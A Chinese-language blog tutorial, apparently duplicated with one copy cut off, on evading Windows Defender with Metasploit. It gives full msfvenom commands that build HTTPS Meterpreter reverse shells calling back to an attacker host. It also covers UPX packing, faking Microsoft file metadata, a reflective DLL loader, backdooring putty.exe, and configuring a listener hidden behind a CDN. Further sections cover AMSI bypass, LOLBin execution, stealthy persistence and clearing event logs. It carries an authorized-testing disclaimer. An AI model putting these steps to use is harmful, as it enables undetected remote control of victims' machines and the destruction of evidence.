1. 项目概述与核心思路最近在和一些做安全研究的朋友交流时大家普遍提到一个痛点Windows Defender的实时防护和云查杀能力越来越强很多传统的、基于明文的Payload生成方式几乎在生成瞬间就会被标记和删除。这导致渗透测试或红队评估的初始阶段载荷投递的成功率直线下降。我花了相当长一段时间专门研究如何更有效地绕过现代Windows Defender的检测机制。今天分享的就是一套经过实战验证、相对稳定的方法——利用Metasploit FrameworkMSF生成基于HTTPS加密通道的Payload并结合多重混淆和加载技术来提升载荷的免杀和持久化能力。这个方法的核心思路不是去对抗杀软的静态特征扫描那是一场军备竞赛而是转换思路重点解决两个问题载荷的传输隐蔽性和内存执行的动态行为规避。HTTPS加密传输确保了Payload在网络传输过程中不被中间设备如IDS/IPS轻易解密和识别而通过MSF的编码器、模板注入以及分离加载等技术则旨在干扰静态分析和规避运行时行为检测。简单来说我们的目标是让一个“坏东西”看起来、动起来都像一个“好东西”。这适合有一定渗透测试或安全研究基础的朋友参考用于在授权的安全评估环境中测试和提升防御体系的检测与响应能力。请注意所有技术讨论均限于合法的安全研究与授权测试范畴。2. 环境准备与工具链解析工欲善其事必先利其器。在开始动手之前我们需要一个完整且隔离的实验环境。这不仅是出于安全考虑更是为了能反复测试和调整Payload而不影响日常工作。2.1 攻击端环境配置攻击端我选择的是Kali Linux它预装了Metasploit Framework省去了很多配置麻烦。不过预装的MSF版本可能不是最新的一些新的Payload或编码器特性可能无法使用。因此第一步是更新MSF。打开终端首先更新系统包列表和MSFsudo apt update sudo apt install metasploit-framework更新完成后通过msfconsole命令进入控制台再输入version查看当前版本。确保你的版本在6.0以上以获得对现代Payload如windows/x64/meterpreter/reverse_https的完整支持。除了MSF我们还需要一个能够承载HTTPS监听器的服务器。MSF自身集成了处理HTTPS反向连接的功能但它需要一份有效的SSL证书来建立加密连接。使用自签名证书虽然方便但可能会在目标端触发证书警告取决于系统安全策略。为了更隐蔽我们可以考虑使用从Let‘s Encrypt等机构获取的免费域名证书这样证书链是受信任的。在实验环境中为了方便我们先用OpenSSL生成一个自签名证书openssl req -new -newkey rsa:2048 -days 365 -nodes -x509 \ -subj /CUS/STState/LCity/OOrganization/CNyourdomain.com \ -keyout server.key -out server.crt cat server.crt server.key server.pem生成的server.pem文件将在后续启动MSF的HTTPS监听器时用到。这里的关键是CN字段理论上如果你有一个可控的域名最好使用它这会让流量看起来更“正常”。2.2 目标端环境与防御现状分析我们的目标环境是Windows 10/11且Windows Defender为最新定义版本。现代Windows Defender的检测机制是一个多层体系静态扫描基于文件哈希、字符串特征、PE头结构、导入表等的快速匹配。AMSI反恶意软件扫描接口主要针对PowerShell、VBScript、JScript等脚本语言和.NET程序集的内存扫描。云保护将可疑文件的哈希或部分特征上传至微软云端进行实时比对响应速度极快。行为监控通过内核回调机制监控进程创建、注册表修改、网络连接等敏感操作。我们的Payload需要尽可能绕过这四重检测。HTTPS Payload本身解决了网络特征问题但落地后的文件仍需处理静态和行为检测。2.3 辅助工具介绍单纯依靠MSF的msfvenom生成原始Payload绕过最新Defender的几率很低。我们需要引入一些辅助的混淆和加载工具。这里我推荐两个在实战中效果不错的Shellter一个动态的PE注入工具可以将Payload注入到合法的可执行文件如notepad.exe,calc.exe中利用“白文件”的信任状。Veil-Evasion或其后继者一个专门用于生成免杀Payload的框架内置多种加密和编码方法。不过它目前维护状态一般我们可以借鉴其思路手动进行多阶段编码。在本次演示中我们将主要使用MSF原生功能结合一些手动技巧以降低工具依赖更清晰地理解原理。3. 核心原理HTTPS Payload与编码器的工作机制为什么是HTTPS为什么传统的reverse_tcp越来越难我们需要深入一下MSF Payload的通信机制。3.1 Reverse_HTTP/HTTPS Payload的优势reverse_tcp是经典的反弹Shell方式它会在目标机器上打开一个到攻击机的原始TCP连接。这种流量特征非常明显一个未知进程向一个外部IP的特定端口发起连接。下一代防火墙或IDS很容易基于IP和端口规则进行告警或阻断。而reverse_https则不同加密流量所有通信数据都经过TLS/SSL加密网络设备无法直接解密内容看到的只是普通的HTTPS流量通常与浏览网页的流量混杂在一起难以区分。使用常见端口HTTPS默认使用443端口这是全球绝大多数加密网站使用的端口通常不会被出口防火墙阻断。模拟HTTP会话Meterpreter的HTTPS传输层会模拟HTTP请求/响应。通信被封装在POST请求和响应体中看起来就像浏览器在与服务器交换数据。它还会使用Cookie头来维护会话状态这使得流量在日志中更像正常的Web API通信。灵活的回连策略支持设置代理、自定义User-Agent字符串进一步伪装流量来源。3.2 MSF编码器的作用与局限msfvenom的-e参数用于指定编码器如x86/shikata_ga_nai。编码器的主要作用是对Payload的二进制代码进行混淆改变其静态特征以绕过基于特征码的静态扫描。它的原理是在Payload前面添加一段解码器Decoder Stub。当Payload被执行时解码器首先运行将后续被编码的Payload代码动态解码还原到内存中再跳转执行。但是编码器有几个关键局限并非加密编码是可逆的杀软可以通过模拟执行或分析解码器逻辑来还原原始Payload。特征化编码器本身也有特征。像shikata_ga_nai这类流行编码器其解码器循环结构早已被各大杀软纳入特征库。不改变行为编码只改变代码的“样子”不改变其最终在内存中执行时的“行为”如调用WinExec、CreateProcess等敏感API因此无法绕过行为监控或AMSI。所以单纯依赖一两次编码是远远不够的。我们需要将编码作为多层混淆中的一环而不是唯一手段。3.3 分离加载技术Stageless vs Staged这是MSF Payload的一个核心概念理解它对于免杀至关重要。Staged Payload分阶段如windows/meterpreter/reverse_https。生成的Shellcode只是一个非常小的第一阶段加载器。它的唯一功能是连接攻击机下载更完整的第二阶段即Meterpreter本身到内存中执行。优点是初始文件很小但缺点是网络连接行为非常明显一个小文件立即发起网络连接且第一阶段本身可能被检测。Stageless Payload无阶段如windows/x64/meterpreter_reverse_https。生成的EXE文件包含了完整的Meterpreter代码。它体积较大但执行时所有功能自包含理论上可以设计成先执行一些合法操作再在特定条件下触发网络连接行为更隐蔽。在绕过Defender时Stageless Payload往往更有优势。因为我们可以将这个完整的EXE文件作为“炮弹”运用各种混淆和注入技术进行处理使其在静态扫描时面目全非而它内部的网络连接逻辑可以做得更延迟、更隐蔽。本次我们将主要使用Stageless Payload。4. 手把手实操生成与多重混淆HTTPS Payload理论讲完我们进入实战环节。我将演示一个从生成到混淆的完整流程。4.1 生成基础的HTTPS Stageless Payload首先我们使用msfvenom生成一个64位的、基于HTTPS的Stageless Meterpreter Payload。msfvenom -p windows/x64/meterpreter_reverse_https LHOSTyour_attack_ip LPORT443 \ -f exe -o base_payload.exe \ --platform windows -a x64 \ --encoder x64/zutto_dekiru \ -i 5 \ -H “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36”参数解析-p windows/x64/meterpreter_reverse_https: 指定Payload类型无阶段反向HTTPS。LHOST: 你的攻击机公网IP或域名。强烈建议使用域名并为其配置好SSL证书这样IP不会硬编码在Payload里且流量更可信。LPORT: 443HTTPS标准端口。-f exe: 输出为Windows可执行文件。-a x64 --platform windows: 指定架构和平台。--encoder x64/zutto_dekiru -i 5: 使用zutto_dekiru编码器迭代编码5次。这是一个比shikata_ga_nai相对少用的编码器可能检测率稍低。-H: 设置自定义的User-Agent字符串让流量看起来像来自Chrome浏览器。生成base_payload.exe后千万不要直接在目标机器上测试先在自己的隔离虚拟机里用最新病毒定义库的Windows Defender扫描一下。99%的概率会被立即查杀。这说明静态特征仍然被识别了。4.2 第一层混淆使用UPX加壳加壳Packing是压缩和混淆可执行文件代码段的一种常见技术。UPX是一款开源的可执行文件压缩器虽然其壳特征也被杀软熟知但我们可以将其作为第一层“变形”工具。upx -9 base_payload.exe -o packed_payload.exe-9是最高压缩等级。加壳后文件的导入表、代码段结构会发生巨大变化能绕过一部分简单的特征匹配。但Defender依然能检测出“UPX壳已知恶意内容”的组合。所以这只是一步预处理。4.3 第二层混淆资源修改与签名伪造接下来我们修改PE文件的资源信息并尝试伪造数字签名虽然无效但能干扰一些扫描器。我们可以使用Resource HackerWindows工具或命令行工具rcedit。这里以rcedit为例需提前安装# 修改文件版本信息伪装成知名软件 rcedit packed_payload.exe --set-version-string “CompanyName” “Microsoft Corporation” rcedit packed_payload.exe --set-version-string “FileDescription” “Windows System Explorer” rcedit packed_payload.exe --set-version-string “ProductName” “Microsoft Windows Operating System” rcedit packed_payload.exe --set-icon “path_to_a_normal_icon.ico” # 添加一个假的、格式错误的签名块仅供参考实际无效签名可能触发警告 # 这步比较高级通常需要手动编辑PE或使用特定工具新手可暂缓。修改资源信息可以让文件在资源管理器中“看起来”更合法干扰那些会检查元数据的启发式扫描。4.4 第三层混淆分离加载与反射式DLL注入这是提升免杀成功率的关键一步。我们不再直接执行最终的Payload EXE而是将其作为数据嵌入到一个合法的加载器程序中。加载器负责在内存中解密、重构并执行Payload。思路如下用C/C或Go编写一个简单的加载器程序。这个程序本身是干净的功能可以很简单比如一个计算器或者一个显示无害图片的程序。将我们之前生成的packed_payload.exe或将其进一步加密后作为二进制数组硬编码到加载器源代码的一个unsigned char数组里。加载器运行时首先在内存中分配一块具有可执行权限的空间VirtualAllocPAGE_EXECUTE_READWRITE。将Payload数组解密如果加密了并拷贝到这块内存。然后加载器需要修复Payload的“重定位表”。因为Payload被加载到了一个新的内存地址它内部的一些指针地址需要调整。对于MSF生成的Raw Shellcode这通常不是问题但对于完整的PE文件这是一个复杂步骤。一个更简单的方法是使用反射式DLL注入技术。我们可以使用Stephen Fewer的ReflectiveDLLInjection项目原理。将Payload编译成一个DLL然后由加载器将这个DLL从内存中直接加载而不经过磁盘。MSF的windows/x64/reflectivemeterpreterdllreverse_httpsPayload就是基于此原理。实操简化版使用MSF生成反射式DLLmsfvenom -p windows/x64/reflectivemeterpreterdllreverse_https LHOSTyour_attack_ip LPORT443 -f dll -o reflective.dll然后你需要编写一个加载器其核心逻辑是调用ReflectiveLoader函数该函数被编译在DLL内部。网上有大量开源示例。加载器编译后将reflective.dll的二进制内容以数组形式嵌入其中。关键注意事项编写加载器时避免使用LoadLibrary等敏感API直接加载恶意DLL。反射式加载的全部操作都在内存中完成对磁盘上的DLL文件没有依赖因此更为隐蔽。同时加载器本身的代码应尽可能简单、无害避免触发行为监控。4.5 使用模板注入Template Injection如果觉得编写加载器太麻烦可以使用更自动化的工具如MSFVenom的-x参数指定一个模板即一个合法的可执行文件。msfvenom -p windows/x64/meterpreter_reverse_https LHOSTyour_attack_ip LPORT443 -x /path/to/putty.exe -f exe -o final_payload.exe这个命令会将Payload注入到putty.exe这个干净的文件中。-x参数执行的是“后门注入”即原程序功能保留同时添加了恶意代码。这种方法的好坏取决于模板文件的纯净度和杀软对模板-恶意代码组合的检测能力。通常需要寻找一些不常见但合法的软件作为模板。5. 配置监听器与规避网络检测Payload处理好了攻击端的监听器配置同样重要它决定了回连的隐蔽性。5.1 配置MSF多处理器HTTPS监听器在msfconsole中use exploit/multi/handler set payload windows/x64/meterpreter_reverse_https set LHOST 0.0.0.0 set LPORT 443 set HandlerSSLCert /path/to/your/server.pem set HttpUserAgent “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36” set HttpHostHeader “yourdomain.com” set ExitOnSession false exploit -j -zHandlerSSLCert: 指定我们之前生成的PEM证书文件。如果使用正规域名证书这里同样需要配置。HttpUserAgent: 与生成Payload时设置的保持一致。HttpHostHeader: 设置HTTP主机头与证书的CN或域名匹配使流量看起来是发往特定网站的。ExitOnSession false和exploit -j -z允许监听器在后台持续运行并接受多个会话。5.2 流量伪装进阶重定向与CDN直接让Payload连接你的VPS IP仍然有风险。更隐蔽的做法是域名与CDN购买一个廉价域名为其配置SSL证书。将域名的A记录指向你的攻击机IP或者更好的是使用CloudFlare等CDN服务。将攻击机IP隐藏在CDN后面。Payload连接的是域名流量经过CDN转发增加了溯源难度。端口复用在攻击机的443端口上运行像Nginx这样的Web服务器配置SSL证书。然后通过Nginx的stream_ssl_preread模块或sslh等工具根据SNI服务器名称指示将正常的HTTPS流量和Meterpreter的HTTPS流量分流到不同的后端服务。这样从外部看只有一个标准的HTTPS网站。5.3 设置代理与出口路由如果目标处于严格的内网环境可能需要设置代理才能出网。在生成Payload时可以通过MSF的HttpProxyHost和HttpProxyPort选项指定代理服务器信息。同样在监听器端也需要考虑Meterpreter会话建立后的出口路由问题这可能涉及到MSF的socks代理模块和autoroute脚本的配合使用。6. 实战测试、问题排查与行为规避一切就绪后在隔离的靶机中运行最终生成的final_payload.exe。6.1 常见问题与排查会话无法建立检查防火墙确保攻击机443端口开放且VPS安全组规则允许入站。检查证书如果使用自签名证书且目标系统严格可能因证书不受信任导致连接失败。考虑使用受信任的证书或调整目标系统策略仅测试环境。查看MSF日志在msfconsole中运行set LogLevel 3可以显示更详细的通信日志帮助诊断连接问题。Payload类型匹配确保生成Payload的架构x86/x64与目标系统匹配且监听器设置的Payload类型与生成的完全一致。会话建立后立即断开杀软行为检测这很可能是Payload在内存中执行时其行为如注入到其他进程、尝试提权被Defender的行为监控或AMSI检测到并终止。这说明静态免杀成功但动态免杀不足。需要更深入的行为规避考虑使用Meterpreter的migrate命令尽快迁移到更稳定的进程如explorer.exe并避免在初始阶段进行敏感操作。也可以研究使用类似Sleep技术的规避脚本在初始阶段让Payload休眠一段时间或者只在特定时间、特定用户操作下激活。6.2 针对AMSI与行为监控的规避技巧AMSI是Payload在内存中执行时的一大克星尤其是当通过PowerShell或.NET加载时。禁用AMSI需权限可以通过修改注册表或调用特定API尝试禁用AMSI但这需要管理员权限且行为本身很可疑。AMSI绕过网上有很多公开的AMSI内存Patch技术其原理是在内存中找到amsi.dll的扫描函数并将其绕过或修改。这些技术更新很快需要持续关注。在Meterpreter中可以尝试加载一些专门的绕过脚本如amsi-bypass。间接加载避免直接通过powershell.exe -c或rundll32.exe执行明显的恶意代码。可以使用msbuild.exe、installutil.exe、regsvr32.exe等微软官方二进制文件来间接执行经过特殊编码的脚本或DLL这些方式有时能绕过应用白名单和部分行为检测。6.3 持久化与清理获得稳定会话后需要考虑持久化。但请注意在Defender开启的情况下常见的持久化方法如注册表Run键、计划任务、服务很容易被检测。隐蔽持久化可以考虑使用WMI事件订阅、COM劫持、启动文件夹特殊文件等相对隐蔽的方法。Metasploit的persistence模块提供了一些选项但默认方法可能已被标记。手动清理测试结束后务必清理所有在靶机上创建的后门文件、注册表项和计划任务。使用Meterpreter的clearev命令清除事件日志。对于WMI持久化需要使用wmic或PowerShell命令手动删除相关条目。7. 总结与持续对抗的思考通过以上步骤我们完成了一个从生成、多重混淆到配置监听、行为规避的相对完整的HTTPS Payload免杀流程。核心要点可以归纳为加密传输HTTPS 多重静态混淆编码、加壳、注入 动态行为规避进程迁移、AMSI绕过。然而必须清醒认识到没有一劳永逸的免杀方法。Windows Defender等现代EDR终端检测与响应产品在不断进化它们整合了静态AI检测、动态沙箱分析、行为序列建模和威胁情报等多种能力。我们今天有效的方法明天可能就会失效。因此作为安全研究人员更重要的是理解其中的对抗原理减少熵值让Payload文件在静态分析时其熵值随机性与正常软件接近避免使用过于复杂的加密壳。模仿合法软件尽可能复用合法软件的代码片段、资源结构和行为模式。延迟与条件触发让恶意行为不要立即、全部暴露增加沙箱分析的难度。供应链攻击思维寻找软件更新、插件加载等可信的代码执行路径。在实际的授权测试中这些技术应结合社会工程学、鱼叉式钓鱼等手段针对性地进行使用。同时蓝队防御者也可以从这些绕过技术中看到防御体系的盲点从而加强在网络流量分析、终端行为监控和威胁狩猎方面的投入。安全本质上是一场持续的攻防博弈而理解对方的工具和思路是赢得这场博弈的关键。
实战绕过Windows Defender：基于HTTPS加密与多重混淆的MSF Payload免杀技术
发布时间：2026/7/28 7:06:34
1. 项目概述与核心思路最近在和一些做安全研究的朋友交流时大家普遍提到一个痛点Windows Defender的实时防护和云查杀能力越来越强很多传统的、基于明文的Payload生成方式几乎在生成瞬间就会被标记和删除。这导致渗透测试或红队评估的初始阶段载荷投递的成功率直线下降。我花了相当长一段时间专门研究如何更有效地绕过现代Windows Defender的检测机制。今天分享的就是一套经过实战验证、相对稳定的方法——利用Metasploit FrameworkMSF生成基于HTTPS加密通道的Payload并结合多重混淆和加载技术来提升载荷的免杀和持久化能力。这个方法的核心思路不是去对抗杀软的静态特征扫描那是一场军备竞赛而是转换思路重点解决两个问题载荷的传输隐蔽性和内存执行的动态行为规避。HTTPS加密传输确保了Payload在网络传输过程中不被中间设备如IDS/IPS轻易解密和识别而通过MSF的编码器、模板注入以及分离加载等技术则旨在干扰静态分析和规避运行时行为检测。简单来说我们的目标是让一个“坏东西”看起来、动起来都像一个“好东西”。这适合有一定渗透测试或安全研究基础的朋友参考用于在授权的安全评估环境中测试和提升防御体系的检测与响应能力。请注意所有技术讨论均限于合法的安全研究与授权测试范畴。2. 环境准备与工具链解析工欲善其事必先利其器。在开始动手之前我们需要一个完整且隔离的实验环境。这不仅是出于安全考虑更是为了能反复测试和调整Payload而不影响日常工作。2.1 攻击端环境配置攻击端我选择的是Kali Linux它预装了Metasploit Framework省去了很多配置麻烦。不过预装的MSF版本可能不是最新的一些新的Payload或编码器特性可能无法使用。因此第一步是更新MSF。打开终端首先更新系统包列表和MSFsudo apt update sudo apt install metasploit-framework更新完成后通过msfconsole命令进入控制台再输入version查看当前版本。确保你的版本在6.0以上以获得对现代Payload如windows/x64/meterpreter/reverse_https的完整支持。除了MSF我们还需要一个能够承载HTTPS监听器的服务器。MSF自身集成了处理HTTPS反向连接的功能但它需要一份有效的SSL证书来建立加密连接。使用自签名证书虽然方便但可能会在目标端触发证书警告取决于系统安全策略。为了更隐蔽我们可以考虑使用从Let‘s Encrypt等机构获取的免费域名证书这样证书链是受信任的。在实验环境中为了方便我们先用OpenSSL生成一个自签名证书openssl req -new -newkey rsa:2048 -days 365 -nodes -x509 \ -subj /CUS/STState/LCity/OOrganization/CNyourdomain.com \ -keyout server.key -out server.crt cat server.crt server.key server.pem生成的server.pem文件将在后续启动MSF的HTTPS监听器时用到。这里的关键是CN字段理论上如果你有一个可控的域名最好使用它这会让流量看起来更“正常”。2.2 目标端环境与防御现状分析我们的目标环境是Windows 10/11且Windows Defender为最新定义版本。现代Windows Defender的检测机制是一个多层体系静态扫描基于文件哈希、字符串特征、PE头结构、导入表等的快速匹配。AMSI反恶意软件扫描接口主要针对PowerShell、VBScript、JScript等脚本语言和.NET程序集的内存扫描。云保护将可疑文件的哈希或部分特征上传至微软云端进行实时比对响应速度极快。行为监控通过内核回调机制监控进程创建、注册表修改、网络连接等敏感操作。我们的Payload需要尽可能绕过这四重检测。HTTPS Payload本身解决了网络特征问题但落地后的文件仍需处理静态和行为检测。2.3 辅助工具介绍单纯依靠MSF的msfvenom生成原始Payload绕过最新Defender的几率很低。我们需要引入一些辅助的混淆和加载工具。这里我推荐两个在实战中效果不错的Shellter一个动态的PE注入工具可以将Payload注入到合法的可执行文件如notepad.exe,calc.exe中利用“白文件”的信任状。Veil-Evasion或其后继者一个专门用于生成免杀Payload的框架内置多种加密和编码方法。不过它目前维护状态一般我们可以借鉴其思路手动进行多阶段编码。在本次演示中我们将主要使用MSF原生功能结合一些手动技巧以降低工具依赖更清晰地理解原理。3. 核心原理HTTPS Payload与编码器的工作机制为什么是HTTPS为什么传统的reverse_tcp越来越难我们需要深入一下MSF Payload的通信机制。3.1 Reverse_HTTP/HTTPS Payload的优势reverse_tcp是经典的反弹Shell方式它会在目标机器上打开一个到攻击机的原始TCP连接。这种流量特征非常明显一个未知进程向一个外部IP的特定端口发起连接。下一代防火墙或IDS很容易基于IP和端口规则进行告警或阻断。而reverse_https则不同加密流量所有通信数据都经过TLS/SSL加密网络设备无法直接解密内容看到的只是普通的HTTPS流量通常与浏览网页的流量混杂在一起难以区分。使用常见端口HTTPS默认使用443端口这是全球绝大多数加密网站使用的端口通常不会被出口防火墙阻断。模拟HTTP会话Meterpreter的HTTPS传输层会模拟HTTP请求/响应。通信被封装在POST请求和响应体中看起来就像浏览器在与服务器交换数据。它还会使用Cookie头来维护会话状态这使得流量在日志中更像正常的Web API通信。灵活的回连策略支持设置代理、自定义User-Agent字符串进一步伪装流量来源。3.2 MSF编码器的作用与局限msfvenom的-e参数用于指定编码器如x86/shikata_ga_nai。编码器的主要作用是对Payload的二进制代码进行混淆改变其静态特征以绕过基于特征码的静态扫描。它的原理是在Payload前面添加一段解码器Decoder Stub。当Payload被执行时解码器首先运行将后续被编码的Payload代码动态解码还原到内存中再跳转执行。但是编码器有几个关键局限并非加密编码是可逆的杀软可以通过模拟执行或分析解码器逻辑来还原原始Payload。特征化编码器本身也有特征。像shikata_ga_nai这类流行编码器其解码器循环结构早已被各大杀软纳入特征库。不改变行为编码只改变代码的“样子”不改变其最终在内存中执行时的“行为”如调用WinExec、CreateProcess等敏感API因此无法绕过行为监控或AMSI。所以单纯依赖一两次编码是远远不够的。我们需要将编码作为多层混淆中的一环而不是唯一手段。3.3 分离加载技术Stageless vs Staged这是MSF Payload的一个核心概念理解它对于免杀至关重要。Staged Payload分阶段如windows/meterpreter/reverse_https。生成的Shellcode只是一个非常小的第一阶段加载器。它的唯一功能是连接攻击机下载更完整的第二阶段即Meterpreter本身到内存中执行。优点是初始文件很小但缺点是网络连接行为非常明显一个小文件立即发起网络连接且第一阶段本身可能被检测。Stageless Payload无阶段如windows/x64/meterpreter_reverse_https。生成的EXE文件包含了完整的Meterpreter代码。它体积较大但执行时所有功能自包含理论上可以设计成先执行一些合法操作再在特定条件下触发网络连接行为更隐蔽。在绕过Defender时Stageless Payload往往更有优势。因为我们可以将这个完整的EXE文件作为“炮弹”运用各种混淆和注入技术进行处理使其在静态扫描时面目全非而它内部的网络连接逻辑可以做得更延迟、更隐蔽。本次我们将主要使用Stageless Payload。4. 手把手实操生成与多重混淆HTTPS Payload理论讲完我们进入实战环节。我将演示一个从生成到混淆的完整流程。4.1 生成基础的HTTPS Stageless Payload首先我们使用msfvenom生成一个64位的、基于HTTPS的Stageless Meterpreter Payload。msfvenom -p windows/x64/meterpreter_reverse_https LHOSTyour_attack_ip LPORT443 \ -f exe -o base_payload.exe \ --platform windows -a x64 \ --encoder x64/zutto_dekiru \ -i 5 \ -H “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36”参数解析-p windows/x64/meterpreter_reverse_https: 指定Payload类型无阶段反向HTTPS。LHOST: 你的攻击机公网IP或域名。强烈建议使用域名并为其配置好SSL证书这样IP不会硬编码在Payload里且流量更可信。LPORT: 443HTTPS标准端口。-f exe: 输出为Windows可执行文件。-a x64 --platform windows: 指定架构和平台。--encoder x64/zutto_dekiru -i 5: 使用zutto_dekiru编码器迭代编码5次。这是一个比shikata_ga_nai相对少用的编码器可能检测率稍低。-H: 设置自定义的User-Agent字符串让流量看起来像来自Chrome浏览器。生成base_payload.exe后千万不要直接在目标机器上测试先在自己的隔离虚拟机里用最新病毒定义库的Windows Defender扫描一下。99%的概率会被立即查杀。这说明静态特征仍然被识别了。4.2 第一层混淆使用UPX加壳加壳Packing是压缩和混淆可执行文件代码段的一种常见技术。UPX是一款开源的可执行文件压缩器虽然其壳特征也被杀软熟知但我们可以将其作为第一层“变形”工具。upx -9 base_payload.exe -o packed_payload.exe-9是最高压缩等级。加壳后文件的导入表、代码段结构会发生巨大变化能绕过一部分简单的特征匹配。但Defender依然能检测出“UPX壳已知恶意内容”的组合。所以这只是一步预处理。4.3 第二层混淆资源修改与签名伪造接下来我们修改PE文件的资源信息并尝试伪造数字签名虽然无效但能干扰一些扫描器。我们可以使用Resource HackerWindows工具或命令行工具rcedit。这里以rcedit为例需提前安装# 修改文件版本信息伪装成知名软件 rcedit packed_payload.exe --set-version-string “CompanyName” “Microsoft Corporation” rcedit packed_payload.exe --set-version-string “FileDescription” “Windows System Explorer” rcedit packed_payload.exe --set-version-string “ProductName” “Microsoft Windows Operating System” rcedit packed_payload.exe --set-icon “path_to_a_normal_icon.ico” # 添加一个假的、格式错误的签名块仅供参考实际无效签名可能触发警告 # 这步比较高级通常需要手动编辑PE或使用特定工具新手可暂缓。修改资源信息可以让文件在资源管理器中“看起来”更合法干扰那些会检查元数据的启发式扫描。4.4 第三层混淆分离加载与反射式DLL注入这是提升免杀成功率的关键一步。我们不再直接执行最终的Payload EXE而是将其作为数据嵌入到一个合法的加载器程序中。加载器负责在内存中解密、重构并执行Payload。思路如下用C/C或Go编写一个简单的加载器程序。这个程序本身是干净的功能可以很简单比如一个计算器或者一个显示无害图片的程序。将我们之前生成的packed_payload.exe或将其进一步加密后作为二进制数组硬编码到加载器源代码的一个unsigned char数组里。加载器运行时首先在内存中分配一块具有可执行权限的空间VirtualAllocPAGE_EXECUTE_READWRITE。将Payload数组解密如果加密了并拷贝到这块内存。然后加载器需要修复Payload的“重定位表”。因为Payload被加载到了一个新的内存地址它内部的一些指针地址需要调整。对于MSF生成的Raw Shellcode这通常不是问题但对于完整的PE文件这是一个复杂步骤。一个更简单的方法是使用反射式DLL注入技术。我们可以使用Stephen Fewer的ReflectiveDLLInjection项目原理。将Payload编译成一个DLL然后由加载器将这个DLL从内存中直接加载而不经过磁盘。MSF的windows/x64/reflectivemeterpreterdllreverse_httpsPayload就是基于此原理。实操简化版使用MSF生成反射式DLLmsfvenom -p windows/x64/reflectivemeterpreterdllreverse_https LHOSTyour_attack_ip LPORT443 -f dll -o reflective.dll然后你需要编写一个加载器其核心逻辑是调用ReflectiveLoader函数该函数被编译在DLL内部。网上有大量开源示例。加载器编译后将reflective.dll的二进制内容以数组形式嵌入其中。关键注意事项编写加载器时避免使用LoadLibrary等敏感API直接加载恶意DLL。反射式加载的全部操作都在内存中完成对磁盘上的DLL文件没有依赖因此更为隐蔽。同时加载器本身的代码应尽可能简单、无害避免触发行为监控。4.5 使用模板注入Template Injection如果觉得编写加载器太麻烦可以使用更自动化的工具如MSFVenom的-x参数指定一个模板即一个合法的可执行文件。msfvenom -p windows/x64/meterpreter_reverse_https LHOSTyour_attack_ip LPORT443 -x /path/to/putty.exe -f exe -o final_payload.exe这个命令会将Payload注入到putty.exe这个干净的文件中。-x参数执行的是“后门注入”即原程序功能保留同时添加了恶意代码。这种方法的好坏取决于模板文件的纯净度和杀软对模板-恶意代码组合的检测能力。通常需要寻找一些不常见但合法的软件作为模板。5. 配置监听器与规避网络检测Payload处理好了攻击端的监听器配置同样重要它决定了回连的隐蔽性。5.1 配置MSF多处理器HTTPS监听器在msfconsole中use exploit/multi/handler set payload windows/x64/meterpreter_reverse_https set LHOST 0.0.0.0 set LPORT 443 set HandlerSSLCert /path/to/your/server.pem set HttpUserAgent “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36” set HttpHostHeader “yourdomain.com” set ExitOnSession false exploit -j -zHandlerSSLCert: 指定我们之前生成的PEM证书文件。如果使用正规域名证书这里同样需要配置。HttpUserAgent: 与生成Payload时设置的保持一致。HttpHostHeader: 设置HTTP主机头与证书的CN或域名匹配使流量看起来是发往特定网站的。ExitOnSession false和exploit -j -z允许监听器在后台持续运行并接受多个会话。5.2 流量伪装进阶重定向与CDN直接让Payload连接你的VPS IP仍然有风险。更隐蔽的做法是域名与CDN购买一个廉价域名为其配置SSL证书。将域名的A记录指向你的攻击机IP或者更好的是使用CloudFlare等CDN服务。将攻击机IP隐藏在CDN后面。Payload连接的是域名流量经过CDN转发增加了溯源难度。端口复用在攻击机的443端口上运行像Nginx这样的Web服务器配置SSL证书。然后通过Nginx的stream_ssl_preread模块或sslh等工具根据SNI服务器名称指示将正常的HTTPS流量和Meterpreter的HTTPS流量分流到不同的后端服务。这样从外部看只有一个标准的HTTPS网站。5.3 设置代理与出口路由如果目标处于严格的内网环境可能需要设置代理才能出网。在生成Payload时可以通过MSF的HttpProxyHost和HttpProxyPort选项指定代理服务器信息。同样在监听器端也需要考虑Meterpreter会话建立后的出口路由问题这可能涉及到MSF的socks代理模块和autoroute脚本的配合使用。6. 实战测试、问题排查与行为规避一切就绪后在隔离的靶机中运行最终生成的final_payload.exe。6.1 常见问题与排查会话无法建立检查防火墙确保攻击机443端口开放且VPS安全组规则允许入站。检查证书如果使用自签名证书且目标系统严格可能因证书不受信任导致连接失败。考虑使用受信任的证书或调整目标系统策略仅测试环境。查看MSF日志在msfconsole中运行set LogLevel 3可以显示更详细的通信日志帮助诊断连接问题。Payload类型匹配确保生成Payload的架构x86/x64与目标系统匹配且监听器设置的Payload类型与生成的完全一致。会话建立后立即断开杀软行为检测这很可能是Payload在内存中执行时其行为如注入到其他进程、尝试提权被Defender的行为监控或AMSI检测到并终止。这说明静态免杀成功但动态免杀不足。需要更深入的行为规避考虑使用Meterpreter的migrate命令尽快迁移到更稳定的进程如explorer.exe并避免在初始阶段进行敏感操作。也可以研究使用类似Sleep技术的规避脚本在初始阶段让Payload休眠一段时间或者只在特定时间、特定用户操作下激活。6.2 针对AMSI与行为监控的规避技巧AMSI是Payload在内存中执行时的一大克星尤其是当通过PowerShell或.NET加载时。禁用AMSI需权限可以通过修改注册表或调用特定API尝试禁用AMSI但这需要管理员权限且行为本身很可疑。AMSI绕过网上有很多公开的AMSI内存Patch技术其原理是在内存中找到amsi.dll的扫描函数并将其绕过或修改。这些技术更新很快需要持续关注。在Meterpreter中可以尝试加载一些专门的绕过脚本如amsi-bypass。间接加载避免直接通过powershell.exe -c或rundll32.exe执行明显的恶意代码。可以使用msbuild.exe、installutil.exe、regsvr32.exe等微软官方二进制文件来间接执行经过特殊编码的脚本或DLL这些方式有时能绕过应用白名单和部分行为检测。6.3 